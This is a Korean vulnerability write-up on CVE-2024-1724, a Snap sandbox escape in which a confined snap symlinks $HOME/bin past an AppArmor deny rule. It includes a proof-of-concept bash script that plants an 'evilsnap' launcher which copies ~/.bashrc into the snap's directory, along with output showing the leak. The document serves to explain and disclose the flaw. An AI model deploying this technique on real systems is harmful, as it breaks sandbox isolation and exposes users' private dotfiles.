[하루한줄] CVE-2024-1724 : Snap의 Symbolic Link 경로 미제한로 인한 Sandbox Escape 취약점

URL

Target

  • snap before aa191f9 commit

Explain

Snap은 패키지 관리자로 스토어에서 소프트웨어를 다운받아 설치할 수 있는 프로그램입니다. Snap 패키지는 샌드박스 안에서 실행되고 AppArmor, seccomp 등에 의해 리소스 접근에 제한을 받습니다. Snap은 사용자의 홈 디렉터리에 대한 읽기 및 쓰기 권한을 위해 home 권한을 요청할 수도 있지만 .ssh 등 파일에 접근하는 것을 예방하기 위해 닷파일과 닷 디렉터리에는 접근이 제한됩니다.

사용자가 우분투에 로그인하면 $HOME/.profile을 실행합니다.

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

새로 설치할 때는 $HOME/bin 디렉터리가 존재하지 않지만 사용자가 디렉터리를 만들면 로그인할 때 $PATH 앞에 추가됩니다.

하지만 Snap에서는 AppArmor를 통해 bin 폴데에 접근하는 것을 제한합니다.

audit deny @{HOME}/bin/{,**} wl,

$HOME/bin 디렉터리를 만들거나 하드링크나 마운트 등 방법으로 해당 링크를 만들 경우 해당 디렉토리 내 리소스에 접근하는 것을 제한하지만, $HOME/bin을 Snap 리소스를 가리키는 심볼릭 링크로 만들 경우, 이에 대한 리소스 접근을 제한하지 않습니다.

따라서 Snap 리소스를 가리키는 $HOME/bin 심볼릭 링크를 생성하고 유저가 로그인을 하면 bin 폴더 내 파일에 접근할 수 있습니다.

#! /bin/bash

FILE=".bashrc"

if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
        mkdir -p "$SNAP_REAL_HOME/bintmp" // -p 부모 부모 디렉터리 함께 생성
        cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap" 
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
        chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
        ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi

위와 같이 bintmp 폴더를 생성하고 아래 evilsnap 파일을 생성하고 실행 권한을 부여해 준 다음, 심볼릭 링크로 bintmp 폴더를 가리키는 bin 폴더를 생성해 줍니다. 유저가 새로 로그인하면 bin 폴더에 접근이 가능하고 파일을 실행할 수 있습니다.

$ which evilsnap
/home/theuser/bin/evilsnap
$ evilsnap
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

... snip ...